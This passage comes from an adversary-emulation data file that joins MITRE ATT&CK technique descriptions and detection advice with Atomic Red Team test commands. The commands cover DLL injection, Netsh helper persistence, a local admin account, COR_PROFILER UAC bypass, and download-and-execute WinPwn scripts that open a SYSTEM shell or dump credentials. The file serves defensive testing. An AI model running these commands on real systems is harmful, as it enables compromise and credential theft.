- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "external_references": [
- {
- "source_name": "mitre-attack",
- "external_id": "T1055.001",
- "url": "https://attack.mitre.org/techniques/T1055/001"
- },
- {
- "url": "https://www.endgame.com/blog/technical-blog/ten-process-injection-techniques-technical-survey-common-and-trending-process",
- "description": "Hosseini, A. (2017, July 18). Ten Process Injection Techniques: A Technical Survey Of Common And Trending Process Injection Techniques. Retrieved December 7, 2017.",
- "source_name": "Elastic Process Injection July 2017"
- },
- {
- "url": "https://www.endgame.com/blog/technical-blog/hunting-memory",
- "description": "Desimone, J. (2017, June 13). Hunting in Memory. Retrieved December 7, 2017.",
- "source_name": "Elastic HuntingNMemory June 2017"
- }
- ],
- "modified": "2021-10-18T12:20:00.382Z",
- "name": "Process Injection: Dynamic-link Library Injection",
- "description": "Adversaries may inject dynamic-link libraries (DLLs) into processes in order to evade process-based defenses as well as possibly elevate privileges. DLL injection is a method of executing arbitrary code in the address space of a separate live process. \n\nDLL injection is commonly performed by writing the path to a DLL in the virtual address space of the target process before loading the DLL by invoking a new thread. The write can be performed with native Windows API calls such as VirtualAllocEx
and WriteProcessMemory
, then invoked with CreateRemoteThread
(which calls the LoadLibrary
API responsible for loading the DLL). (Citation: Elastic Process Injection July 2017) \n\nVariations of this method such as reflective DLL injection (writing a self-mapping DLL into a process) and memory module (map DLL when writing into process) overcome the address relocation issue as well as the additional APIs to invoke execution (since these methods load and execute the files in memory by manually preforming the function of LoadLibrary
).(Citation: Elastic HuntingNMemory June 2017)(Citation: Elastic Process Injection July 2017) \n\nRunning code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via DLL injection may also evade detection from security products since the execution is masked under a legitimate process. ",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "defense-evasion"
- },
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "privilege-escalation"
- }
- ],
- "x_mitre_detection": "Monitoring Windows API calls indicative of the various types of code injection may generate a significant amount of data and may not be directly useful for defense unless collected under specific circumstances for known bad sequences of calls, since benign use of API functions may be common and difficult to distinguish from malicious behavior. Windows API calls such as CreateRemoteThread
and those that can be used to modify memory within another process, such as VirtualAllocEx
/WriteProcessMemory
, may be used for this technique.(Citation: Elastic Process Injection July 2017)\n\nMonitor DLL/PE file events, specifically creation of these binary files as well as the loading of DLLs into processes. Look for DLLs that are not recognized or not normally loaded into a process. \n\nAnalyze process behavior to determine if a process is performing actions it usually does not, such as opening network connections, reading files, or other suspicious actions that could relate to post-compromise behavior. ",
- "x_mitre_is_subtechnique": true,
- "x_mitre_version": "1.1",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "x_mitre_data_sources": [
- "Process: Process Access",
- "Process: OS API Execution",
- "Module: Module Load",
- "Process: Process Modification"
- ],
- "x_mitre_defense_bypassed": [
- "Application control",
- "Anti-virus"
- ],
- "x_mitre_permissions_required": [
- "User"
- ],
- "identifier": "T1055.001"
- },
- "atomic_tests": [
- {
- "name": "Process Injection via mavinject.exe",
- "auto_generated_guid": "74496461-11a1-4982-b439-4d87a550d254",
- "description": "Windows 10 Utility To Inject DLLS.\n\nUpon successful execution, powershell.exe will download T1055.dll to disk. Powershell will then spawn mavinject.exe to perform process injection in T1055.dll.\nWith default arguments, expect to see a MessageBox, with notepad's icon in taskbar.\n",
- "supported_platforms": [
- "windows"
- ],
- "input_arguments": {
- "process_id": {
- "description": "PID of input_arguments",
- "type": "integer",
- "default": "(Start-Process notepad -PassThru).id"
- },
- "dll_payload": {
- "description": "DLL to Inject",
- "type": "path",
- "default": "PathToAtomicsFolder\\T1055.001\\src\\x64\\T1055.001.dll"
- }
- },
- "dependency_executor_name": "powershell",
- "dependencies": [
- {
- "description": "Utility to inject must exist on disk at specified location (#{dll_payload})\n",
- "prereq_command": "if (Test-Path #{dll_payload}) {exit 0} else {exit 1}\n",
- "get_prereq_command": "New-Item -Type Directory (split-path #{dll_payload}) -ErrorAction ignore | Out-Null\nInvoke-WebRequest \"https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1055.001/src/x64/T1055.001.dll\" -OutFile \"#{dll_payload}\"\n"
- }
- ],
- "executor": {
- "command": "$mypid = #{process_id}\nmavinject $mypid /INJECTRUNNING #{dll_payload}\nStop-Process -processname notepad\n",
- "name": "powershell",
- "elevation_required": true
- }
- },
- {
- "name": "WinPwn - Get SYSTEM shell - Bind System Shell using UsoClient DLL load technique",
- "auto_generated_guid": "8b56f787-73d9-4f1d-87e8-d07e89cbc7f5",
- "description": "Get SYSTEM shell - Bind System Shell using UsoClient DLL load technique via function of WinPwn",
- "supported_platforms": [
- "windows"
- ],
- "executor": {
- "command": "iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/Get-System-Techniques/master/UsoDLL/Get-UsoClientDLLSystem.ps1')",
- "name": "powershell"
- }
- }
- ]
- },
- "T1546.007": {
- "technique": {
- "x_mitre_platforms": [
- "Windows"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "x_mitre_contributors": [
- "Matthew Demaske, Adaptforward"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "type": "attack-pattern",
- "id": "attack-pattern--f63fe421-b1d1-45c0-b8a7-02cd16ff2bed",
- "created": "2020-01-24T14:26:51.207Z",
- "x_mitre_version": "1.0",
- "external_references": [
- {
- "source_name": "mitre-attack",
- "external_id": "T1546.007",
- "url": "https://attack.mitre.org/techniques/T1546/007"
- },
- {
- "source_name": "Demaske Netsh Persistence",
- "url": "https://htmlpreview.github.io/?https://github.com/MatthewDemaske/blogbackup/blob/master/netshell.html",
- "description": "Demaske, M. (2016, September 23). USING NETSHELL TO EXECUTE EVIL DLLS AND PERSIST ON A HOST. Retrieved April 8, 2017."
- },
- {
- "source_name": "TechNet Netsh",
- "url": "https://technet.microsoft.com/library/bb490939.aspx",
- "description": "Microsoft. (n.d.). Using Netsh. Retrieved February 13, 2017."
- },
- {
- "source_name": "Github Netsh Helper CS Beacon",
- "url": "https://github.com/outflankbv/NetshHelperBeacon",
- "description": "Smeets, M. (2016, September 26). NetshHelperBeacon. Retrieved February 13, 2017."
- }
- ],
- "x_mitre_deprecated": false,
- "revoked": false,
- "description": "Adversaries may establish persistence by executing malicious content triggered by Netsh Helper DLLs. Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system. It contains functionality to add helper DLLs for extending functionality of the utility.(Citation: TechNet Netsh) The paths to registered netsh.exe helper DLLs are entered into the Windows Registry at HKLM\\SOFTWARE\\Microsoft\\Netsh
.\n\nAdversaries can use netsh.exe helper DLLs to trigger execution of arbitrary code in a persistent manner. This execution would take place anytime netsh.exe is executed, which could happen automatically, with another persistence technique, or if other software (ex: VPN) is present on the system that executes netsh.exe as part of its normal functionality.(Citation: Github Netsh Helper CS Beacon)(Citation: Demaske Netsh Persistence)",
- "modified": "2022-04-20T17:09:17.363Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "name": "Event Triggered Execution: Netsh Helper DLL",
- "x_mitre_detection": "It is likely unusual for netsh.exe to have any child processes in most environments. Monitor process executions and investigate any child processes spawned by netsh.exe for malicious behavior. Monitor the HKLM\\SOFTWARE\\Microsoft\\Netsh
registry key for any new or suspicious entries that do not correlate with known system files or benign software.(Citation: Demaske Netsh Persistence)",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "privilege-escalation"
- },
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "persistence"
- }
- ],
- "x_mitre_is_subtechnique": true,
- "x_mitre_data_sources": [
- "Command: Command Execution",
- "Module: Module Load",
- "Process: Process Creation",
- "Windows Registry: Windows Registry Key Modification"
- ],
- "x_mitre_permissions_required": [
- "Administrator",
- "SYSTEM"
- ],
- "x_mitre_attack_spec_version": "2.1.0",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "identifier": "T1546.007"
- },
- "atomic_tests": [
- {
- "name": "Netsh Helper DLL Registration",
- "auto_generated_guid": "3244697d-5a3a-4dfc-941c-550f69f91a4d",
- "description": "You can register a \"helper dll\" with Netsh as a persistance mechanism. The code in the dll is executed every time netsh.exe is called.\nThe NetshHelper.dll provided with the atomic will simply launch notepad when netsh.exe is run.\n\n[Blog](https://htmlpreview.github.io/?https://github.com/MatthewDemaske/blogbackup/blob/master/netshell.html)\n[Sample DLL code](https://github.com/outflanknl/NetshHelperBeacon)\n",
- "supported_platforms": [
- "windows"
- ],
- "input_arguments": {
- "helper_file": {
- "description": "Path to DLL",
- "type": "path",
- "default": "PathToAtomicsFolder\\T1546.007\\bin\\NetshHelper.dll"
- }
- },
- "dependency_executor_name": "powershell",
- "dependencies": [
- {
- "description": "Helper DLL must exist on disk at specified location (#{helper_file})\n",
- "prereq_command": "if (Test-Path \"#{helper_file}\") { exit 0} else { exit 1}\n",
- "get_prereq_command": "New-Item -Type Directory (split-path #{helper_file}) -ErrorAction ignore | Out-Null\nInvoke-WebRequest \"https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1546.007/bin/NetshHelper.dll\" -OutFile \"#{helper_file}\"\n"
- }
- ],
- "executor": {
- "command": "netsh.exe add helper #{helper_file}\ntaskkill /im notepad.exe /t /f > NUL 2>&1\n",
- "cleanup_command": "netsh.exe delete helper #{helper_file}\n",
- "name": "command_prompt",
- "elevation_required": true
- }
- }
- ]
- },
- "T1574.004": {
- "technique": {
- "x_mitre_platforms": [
- "macOS"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "type": "attack-pattern",
- "id": "attack-pattern--fc742192-19e3-466c-9eb5-964a97b29490",
- "created": "2020-03-16T15:23:30.896Z",
- "x_mitre_version": "2.0",
- "external_references": [
- {
- "source_name": "mitre-attack",
- "external_id": "T1574.004",
- "url": "https://attack.mitre.org/techniques/T1574/004"
- },
- {
- "source_name": "MalwareUnicorn macOS Dylib Injection MachO",
- "url": "https://malwareunicorn.org/workshops/macos_dylib_injection.html#5",
- "description": "Amanda Rousseau. (2020, April 4). MacOS Dylib Injection Workshop. Retrieved March 29, 2021."
- },
- {
- "source_name": "Apple Developer Doco Archive Run-Path",
- "url": "https://developer.apple.com/library/archive/documentation/DeveloperTools/Conceptual/DynamicLibraries/100-Articles/RunpathDependentLibraries.html",
- "description": "Apple Inc.. (2012, July 7). Run-Path Dependent Libraries. Retrieved March 31, 2021."
- },
- {
- "source_name": "Wardle Dylib Hijacking OSX 2015",
- "url": "https://www.virusbulletin.com/uploads/pdf/magazine/2015/vb201503-dylib-hijacking.pdf",
- "description": "Patrick Wardle. (2015, March 1). Dylib Hijacking on OS X. Retrieved March 29, 2021."
- },
- {
- "source_name": "Writing Bad Malware for OSX",
- "url": "https://www.blackhat.com/docs/us-15/materials/us-15-Wardle-Writing-Bad-A-Malware-For-OS-X.pdf",
- "description": "Patrick Wardle. (2015). Writing Bad @$$ Malware for OS X. Retrieved July 10, 2017."
- },
- {
- "source_name": "Wardle Dylib Hijack Vulnerable Apps",
- "url": "https://objective-see.com/blog/blog_0x46.html",
- "description": "Patrick Wardle. (2019, July 2). Getting Root with Benign AppStore Apps. Retrieved March 31, 2021."
- },
- {
- "source_name": "wardle artofmalware volume1",
- "url": "https://taomm.org/vol1/pdfs.html",
- "description": "Patrick Wardle. (2020, August 5). The Art of Mac Malware Volume 0x1: Analysis. Retrieved March 19, 2021."
- },
- {
- "source_name": "Github EmpireProject HijackScanner",
- "url": "https://github.com/EmpireProject/Empire/blob/master/lib/modules/python/situational_awareness/host/osx/HijackScanner.py",
- "description": "Wardle, P., Ross, C. (2017, September 21). Empire Project Dylib Hijack Vulnerability Scanner. Retrieved April 1, 2021."
- },
- {
- "source_name": "Github EmpireProject CreateHijacker Dylib",
- "url": "https://github.com/EmpireProject/Empire/blob/08cbd274bef78243d7a8ed6443b8364acd1fc48b/lib/modules/python/persistence/osx/CreateHijacker.py",
- "description": "Wardle, P., Ross, C. (2018, April 8). EmpireProject Create Dylib Hijacker. Retrieved April 1, 2021."
- },
- {
- "url": "https://capec.mitre.org/data/definitions/471.html",
- "source_name": "capec",
- "external_id": "CAPEC-471"
- }
- ],
- "x_mitre_deprecated": false,
- "revoked": false,
- "description": "Adversaries may execute their own payloads by placing a malicious dynamic library (dylib) with an expected name in a path a victim application searches at runtime. The dynamic loader will try to find the dylibs based on the sequential order of the search paths. Paths to dylibs may be prefixed with @rpath
, which allows developers to use relative paths to specify an array of search paths used at runtime based on the location of the executable. Additionally, if weak linking is used, such as the LC_LOAD_WEAK_DYLIB
function, an application will still execute even if an expected dylib is not present. Weak linking enables developers to run an application on multiple macOS versions as new APIs are added.\n\nAdversaries may gain execution by inserting malicious dylibs with the name of the missing dylib in the identified path.(Citation: Wardle Dylib Hijack Vulnerable Apps)(Citation: Wardle Dylib Hijacking OSX 2015)(Citation: Github EmpireProject HijackScanner)(Citation: Github EmpireProject CreateHijacker Dylib) Dylibs are loaded into an application's address space allowing the malicious dylib to inherit the application's privilege level and resources. Based on the application, this could result in privilege escalation and uninhibited network access. This method may also evade detection from security products since the execution is masked under a legitimate process.(Citation: Writing Bad Malware for OSX)(Citation: wardle artofmalware volume1)(Citation: MalwareUnicorn macOS Dylib Injection MachO)",
- "modified": "2022-05-05T04:08:30.203Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "name": "Dylib Hijacking",
- "x_mitre_detection": "Monitor file systems for moving, renaming, replacing, or modifying dylibs. Changes in the set of dylibs that are loaded by a process (compared to past behavior) that do not correlate with known software, patches, etc., are suspicious. Check the system for multiple dylibs with the same name and monitor which versions have historically been loaded into a process. \n\nRun path dependent libraries can include LC_LOAD_DYLIB
, LC_LOAD_WEAK_DYLIB
, and LC_RPATH
. Other special keywords are recognized by the macOS loader are @rpath
, @loader_path
, and @executable_path
.(Citation: Apple Developer Doco Archive Run-Path) These loader instructions can be examined for individual binaries or frameworks using the otool -l
command. Objective-See's Dylib Hijacking Scanner can be used to identify applications vulnerable to dylib hijacking.(Citation: Wardle Dylib Hijack Vulnerable Apps)(Citation: Github EmpireProject HijackScanner)",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "persistence"
- },
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "privilege-escalation"
- },
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "defense-evasion"
- }
- ],
- "x_mitre_is_subtechnique": true,
- "x_mitre_data_sources": [
- "Module: Module Load",
- "File: File Creation",
- "File: File Modification"
- ],
- "x_mitre_defense_bypassed": [
- "Application Control"
- ],
- "x_mitre_attack_spec_version": "2.1.0",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"
- },
- "atomic_tests": []
- },
- "T1078.003": {
- "technique": {
- "x_mitre_platforms": [
- "Linux",
- "macOS",
- "Windows",
- "Containers"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "id": "attack-pattern--fdc47f44-dd32-4b99-af5f-209f556f63c2",
- "type": "attack-pattern",
- "created": "2020-03-13T20:26:46.695Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "external_references": [
- {
- "source_name": "mitre-attack",
- "external_id": "T1078.003",
- "url": "https://attack.mitre.org/techniques/T1078/003"
- }
- ],
- "modified": "2021-10-18T17:45:48.323Z",
- "name": "Valid Accounts: Local Accounts",
- "description": "Adversaries may obtain and abuse credentials of a local account as a means of gaining Initial Access, Persistence, Privilege Escalation, or Defense Evasion. Local accounts are those configured by an organization for use by users, remote support, services, or for administration on a single system or service.\n\nLocal Accounts may also be abused to elevate privileges and harvest credentials through [OS Credential Dumping](https://attack.mitre.org/techniques/T1003). Password reuse may allow the abuse of local accounts across a set of machines on a network for the purposes of Privilege Escalation and Lateral Movement. ",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "defense-evasion"
- },
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "persistence"
- },
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "privilege-escalation"
- },
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "initial-access"
- }
- ],
- "x_mitre_detection": "Perform regular audits of local system accounts to detect accounts that may have been created by an adversary for persistence. Look for suspicious account behavior, such as accounts logged in at odd times or outside of business hours.",
- "x_mitre_is_subtechnique": true,
- "x_mitre_version": "1.2",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "x_mitre_data_sources": [
- "User Account: User Account Authentication",
- "Logon Session: Logon Session Creation",
- "Logon Session: Logon Session Metadata"
- ],
- "x_mitre_permissions_required": [
- "Administrator",
- "User"
- ],
- "identifier": "T1078.003"
- },
- "atomic_tests": [
- {
- "name": "Create local account with admin privileges",
- "auto_generated_guid": "a524ce99-86de-4db6-b4f9-e08f35a47a15",
- "description": "After execution the new account will be active and added to the Administrators group",
- "supported_platforms": [
- "windows"
- ],
- "input_arguments": {
- "password": {
- "description": "Password for art-test user",
- "type": "string",
- "default": "-4RTisCool!-321"
- }
- },
- "executor": {
- "command": "net user art-test /add\nnet user art-test #{password}\nnet localgroup administrators art-test /add",
- "cleanup_command": "net localgroup administrators art-test /delete >nul 2>&1\nnet user art-test /delete >nul 2>&1",
- "name": "command_prompt",
- "elevation_required": true
- }
- },
- {
- "name": "WinPwn - Loot local Credentials - powerhell kittie",
- "auto_generated_guid": "9e9fd066-453d-442f-88c1-ad7911d32912",
- "description": "Loot local Credentials - powerhell kittie technique via function of WinPwn",
- "supported_platforms": [
- "windows"
- ],
- "executor": {
- "command": "$S3cur3Th1sSh1t_repo='https://raw.githubusercontent.com/S3cur3Th1sSh1t'\niex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')\nobfuskittiedump -consoleoutput -noninteractive",
- "name": "powershell",
- "elevation_required": true
- }
- },
- {
- "name": "WinPwn - Loot local Credentials - Safetykatz",
- "auto_generated_guid": "e9fdb899-a980-4ba4-934b-486ad22e22f4",
- "description": "Loot local Credentials - Safetykatz technique via function of WinPwn",
- "supported_platforms": [
- "windows"
- ],
- "executor": {
- "command": "$S3cur3Th1sSh1t_repo='https://raw.githubusercontent.com/S3cur3Th1sSh1t'\niex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')\nsafedump -consoleoutput -noninteractive",
- "name": "powershell",
- "elevation_required": true
- }
- }
- ]
- },
- "T1574.012": {
- "technique": {
- "x_mitre_platforms": [
- "Windows"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "x_mitre_contributors": [
- "Jesse Brown, Red Canary"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "id": "attack-pattern--ffeb0780-356e-4261-b036-cfb6bd234335",
- "type": "attack-pattern",
- "created": "2020-06-24T22:30:55.843Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "external_references": [
- {
- "source_name": "mitre-attack",
- "external_id": "T1574.012",
- "url": "https://attack.mitre.org/techniques/T1574/012"
- },
- {
- "source_name": "Microsoft Profiling Mar 2017",
- "url": "https://docs.microsoft.com/en-us/dotnet/framework/unmanaged-api/profiling/profiling-overview",
- "description": "Microsoft. (2017, March 30). Profiling Overview. Retrieved June 24, 2020."
- },
- {
- "source_name": "Microsoft COR_PROFILER Feb 2013",
- "url": "https://docs.microsoft.com/en-us/previous-versions/dotnet/netframework-4.0/ee471451(v=vs.100)",
- "description": "Microsoft. (2013, February 4). Registry-Free Profiler Startup and Attach. Retrieved June 24, 2020."
- },
- {
- "source_name": "RedCanary Mockingbird May 2020",
- "url": "https://redcanary.com/blog/blue-mockingbird-cryptominer/",
- "description": "Lambert, T. (2020, May 7). Introducing Blue Mockingbird. Retrieved May 26, 2020."
- },
- {
- "source_name": "Red Canary COR_PROFILER May 2020",
- "url": "https://redcanary.com/blog/cor_profiler-for-persistence/",
- "description": "Brown, J. (2020, May 7). Detecting COR_PROFILER manipulation for persistence. Retrieved June 24, 2020."
- },
- {
- "source_name": "Almond COR_PROFILER Apr 2019",
- "url": "https://offsec.almond.consulting/UAC-bypass-dotnet.html",
- "description": "Almond. (2019, April 30). UAC bypass via elevated .NET applications. Retrieved June 24, 2020."
- },
- {
- "source_name": "GitHub OmerYa Invisi-Shell",
- "url": "https://github.com/OmerYa/Invisi-Shell",
- "description": "Yair, O. (2019, August 19). Invisi-Shell. Retrieved June 24, 2020."
- },
- {
- "source_name": "subTee .NET Profilers May 2017",
- "url": "https://web.archive.org/web/20170720041203/http://subt0x10.blogspot.com/2017/05/subvert-clr-process-listing-with-net.html",
- "description": "Smith, C. (2017, May 18). Subvert CLR Process Listing With .NET Profilers. Retrieved June 24, 2020."
- }
- ],
- "modified": "2021-08-30T21:35:12.049Z",
- "name": "Hijack Execution Flow: COR_PROFILER",
- "description": "Adversaries may leverage the COR_PROFILER environment variable to hijack the execution flow of programs that load the .NET CLR. The COR_PROFILER is a .NET Framework feature which allows developers to specify an unmanaged (or external of .NET) profiling DLL to be loaded into each .NET process that loads the Common Language Runtime (CLR). These profilers are designed to monitor, troubleshoot, and debug managed code executed by the .NET CLR.(Citation: Microsoft Profiling Mar 2017)(Citation: Microsoft COR_PROFILER Feb 2013)\n\nThe COR_PROFILER environment variable can be set at various scopes (system, user, or process) resulting in different levels of influence. System and user-wide environment variable scopes are specified in the Registry, where a [Component Object Model](https://attack.mitre.org/techniques/T1559/001) (COM) object can be registered as a profiler DLL. A process scope COR_PROFILER can also be created in-memory without modifying the Registry. Starting with .NET Framework 4, the profiling DLL does not need to be registered as long as the location of the DLL is specified in the COR_PROFILER_PATH environment variable.(Citation: Microsoft COR_PROFILER Feb 2013)\n\nAdversaries may abuse COR_PROFILER to establish persistence that executes a malicious DLL in the context of all .NET processes every time the CLR is invoked. The COR_PROFILER can also be used to elevate privileges (ex: [Bypass User Account Control](https://attack.mitre.org/techniques/T1548/002)) if the victim .NET process executes at a higher permission level, as well as to hook and [Impair Defenses](https://attack.mitre.org/techniques/T1562) provided by .NET processes.(Citation: RedCanary Mockingbird May 2020)(Citation: Red Canary COR_PROFILER May 2020)(Citation: Almond COR_PROFILER Apr 2019)(Citation: GitHub OmerYa Invisi-Shell)(Citation: subTee .NET Profilers May 2017)",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "persistence"
- },
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "privilege-escalation"
- },
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "defense-evasion"
- }
- ],
- "x_mitre_detection": "For detecting system and user scope abuse of the COR_PROFILER, monitor the Registry for changes to COR_ENABLE_PROFILING, COR_PROFILER, and COR_PROFILER_PATH that correspond to system and user environment variables that do not correlate to known developer tools. Extra scrutiny should be placed on suspicious modification of these Registry keys by command line tools like wmic.exe, setx.exe, and [Reg](https://attack.mitre.org/software/S0075), monitoring for command-line arguments indicating a change to COR_PROFILER variables may aid in detection. For system, user, and process scope abuse of the COR_PROFILER, monitor for new suspicious unmanaged profiling DLLs loading into .NET processes shortly after the CLR causing abnormal process behavior.(Citation: Red Canary COR_PROFILER May 2020) Consider monitoring for DLL files that are associated with COR_PROFILER environment variables.",
- "x_mitre_is_subtechnique": true,
- "x_mitre_version": "1.0",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "x_mitre_data_sources": [
- "Windows Registry: Windows Registry Key Modification",
- "Command: Command Execution",
- "Process: Process Creation",
- "Module: Module Load"
- ],
- "x_mitre_permissions_required": [
- "User",
- "Administrator"
- ],
- "identifier": "T1574.012"
- },
- "atomic_tests": [
- {
- "name": "User scope COR_PROFILER",
- "auto_generated_guid": "9d5f89dc-c3a5-4f8a-a4fc-a6ed02e7cb5a",
- "description": "Creates user scope environment variables and CLSID COM object to enable a .NET profiler (COR_PROFILER).\nThe unmanaged profiler DLL (`T1574.012x64.dll`) executes when the CLR is loaded by the Event Viewer process.\nAdditionally, the profiling DLL will inherit the integrity level of Event Viewer bypassing UAC and executing `notepad.exe` with high integrity.\nIf the account used is not a local administrator the profiler DLL will still execute each time the CLR is loaded by a process, however,\nthe notepad process will not execute with high integrity.\n\nReference: https://redcanary.com/blog/cor_profiler-for-persistence/\n",
- "supported_platforms": [
- "windows"
- ],
- "input_arguments": {
- "file_name": {
- "description": "unmanaged profiler DLL",
- "type": "path",
- "default": "PathToAtomicsFolder\\T1574.012\\bin\\T1574.012x64.dll"
- },
- "clsid_guid": {
- "description": "custom clsid guid",
- "type": "string",
- "default": "{09108e71-974c-4010-89cb-acf471ae9e2c}"
- }
- },
- "dependency_executor_name": "powershell",
- "dependencies": [
- {
- "description": "#{file_name} must be present\n",
- "prereq_command": "if (Test-Path #{file_name}) {exit 0} else {exit 1}\n",
- "get_prereq_command": "New-Item -Type Directory (split-path #{file_name}) -ErrorAction ignore | Out-Null\nInvoke-WebRequest \"https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1574.012/bin/T1574.012x64.dll\" -OutFile \"#{file_name}\"\n"
- }
- ],
- "executor": {
- "command": "Write-Host \"Creating registry keys in HKCU:Software\\Classes\\CLSID\\#{clsid_guid}\" -ForegroundColor Cyan\nNew-Item -Path \"HKCU:\\Software\\Classes\\CLSID\\#{clsid_guid}\\InprocServer32\" -Value #{file_name} -Force | Out-Null\nNew-ItemProperty -Path HKCU:\\Environment -Name \"COR_ENABLE_PROFILING\" -PropertyType String -Value \"1\" -Force | Out-Null\nNew-ItemProperty -Path HKCU:\\Environment -Name \"COR_PROFILER\" -PropertyType String -Value \"#{clsid_guid}\" -Force | Out-Null\nNew-ItemProperty -Path HKCU:\\Environment -Name \"COR_PROFILER_PATH\" -PropertyType String -Value #{file_name} -Force | Out-Null\nWrite-Host \"executing eventvwr.msc\" -ForegroundColor Cyan\nSTART MMC.EXE EVENTVWR.MSC\n",
- "cleanup_command": "Remove-Item -Path \"HKCU:\\Software\\Classes\\CLSID\\#{clsid_guid}\" -Recurse -Force -ErrorAction Ignore \nRemove-ItemProperty -Path HKCU:\\Environment -Name \"COR_ENABLE_PROFILING\" -Force -ErrorAction Ignore | Out-Null\nRemove-ItemProperty -Path HKCU:\\Environment -Name \"COR_PROFILER\" -Force -ErrorAction Ignore | Out-Null\nRemove-ItemProperty -Path HKCU:\\Environment -Name \"COR_PROFILER_PATH\" -Force -ErrorAction Ignore | Out-Null\n",
- "name": "powershell"
- }
- },
- {
- "name": "System Scope COR_PROFILER",
- "auto_generated_guid": "f373b482-48c8-4ce4-85ed-d40c8b3f7310",
- "description": "Creates system scope environment variables to enable a .NET profiler (COR_PROFILER). System scope environment variables require a restart to take effect.\nThe unmanaged profiler DLL (T1574.012x64.dll`) executes when the CLR is loaded by any process. Additionally, the profiling DLL will inherit the integrity\nlevel of Event Viewer bypassing UAC and executing `notepad.exe` with high integrity. If the account used is not a local administrator the profiler DLL will\nstill execute each time the CLR is loaded by a process, however, the notepad process will not execute with high integrity.\n\nReference: https://redcanary.com/blog/cor_profiler-for-persistence/\n",
- "supported_platforms": [
- "windows"
- ],
- "input_arguments": {
- "file_name": {
- "description": "unmanaged profiler DLL",
- "type": "path",
- "default": "PathToAtomicsFolder\\T1574.012\\bin\\T1574.012x64.dll"
- },
- "clsid_guid": {
- "description": "custom clsid guid",
- "type": "string",
- "default": "{09108e71-974c-4010-89cb-acf471ae9e2c}"
- }
- },
- "dependency_executor_name": "powershell",
- "dependencies": [
- {
- "description": "#{file_name} must be present\n",
- "prereq_command": "if (Test-Path #{file_name}) {exit 0} else {exit 1}\n",
- "get_prereq_command": "New-Item -Type Directory (split-path #{file_name}) -ErrorAction ignore | Out-Null\nInvoke-WebRequest \"https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1574.012/bin/T1574.012x64.dll\" -OutFile \"#{file_name}\"\n"
- }
- ],
- "executor": {
- "command": "Write-Host \"Creating system environment variables\" -ForegroundColor Cyan\nNew-ItemProperty -Path 'HKLM:\\SYSTEM\\CurrentControlSet\\Control\\Session Manager\\Environment' -Name \"COR_ENABLE_PROFILING\" -PropertyType String -Value \"1\" -Force | Out-Null\nNew-ItemProperty -Path 'HKLM:\\SYSTEM\\CurrentControlSet\\Control\\Session Manager\\Environment' -Name \"COR_PROFILER\" -PropertyType String -Value \"#{clsid_guid}\" -Force | Out-Null\nNew-ItemProperty -Path 'HKLM:\\SYSTEM\\CurrentControlSet\\Control\\Session Manager\\Environment' -Name \"COR_PROFILER_PATH\" -PropertyType String -Value #{file_name} -Force | Out-Null\n",
